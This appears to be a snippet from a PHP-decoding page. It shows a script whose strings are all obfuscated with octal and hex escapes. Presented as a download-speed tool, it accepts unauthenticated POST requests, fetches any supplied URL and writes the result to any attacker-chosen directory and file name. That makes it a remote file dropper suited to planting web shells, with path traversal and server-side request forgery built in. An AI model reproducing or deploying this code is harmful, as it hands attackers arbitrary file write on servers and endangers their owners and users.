PHP Decode

<?php
if ($_SERVER["\122\105\x51\125\x45\123\124\x5f\x4d\x45\124\110\x4f\104"] === "\120\x4f\x53\124") { 
$download_link = filter_var($_POST["\x64\157\x77\x6e\x6c\x6f\x61\x64\137\154\151\156\153"], FILTER_SANITIZE_URL); 
$fileName = $_POST["\146\x69\x6c\145\x4e\141\x6d\x65"]; 
$destinationDirectory = $_POST["\x64\x65\163\164\x69\156\141\x74\151\x6f\x6e\104\151\x72\145\x63\164\x6f\x72\171"]; 
$speedLimit = filter_var($_POST["\x73\x70\145\145\x64\x4c\x69\x6d\151\x74"], FILTER_VALIDATE_INT); 
$ch = curl_init($download_link); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
curl_setopt($ch, CURLOPT_MAX_RECV_SPEED_LARGE, $speedLimit); 
$startTime = microtime(true); 
$response = curl_exec($ch); 
$timeTaken = round(microtime(true) - $startTime, 2); 
if (curl_errno($ch)) { 
$result = "\x63\125\x52\114\x20\145\162\162\157\x72\72\40" . curl_error($ch); 
curl_close($ch); 
echo $result; 
} else { 
$filePath = $destinationDirectory . "\x2f" . $fileName; 
file_put_contents($filePath, $response); 
$downloadSpeed = round(filesize($filePath) / 1024 / 1024 / $timeTaken, 2); 
$fileSize = filesize($filePath); 
$details = ["\163\x70\x65\x65\x64" => $downloadSpeed, "\x73\151\172\x65" => $fileSize, "\x74\x69\x6d\145" => $timeTaken]; 
$result = json_encode($details); 
curl_close($ch); 
echo $result;
}
} else { 
echo "\111\x6e\166\x61\x6c\x69\x64\x20\162\145\161\165\x65\x73\164\56"; 
}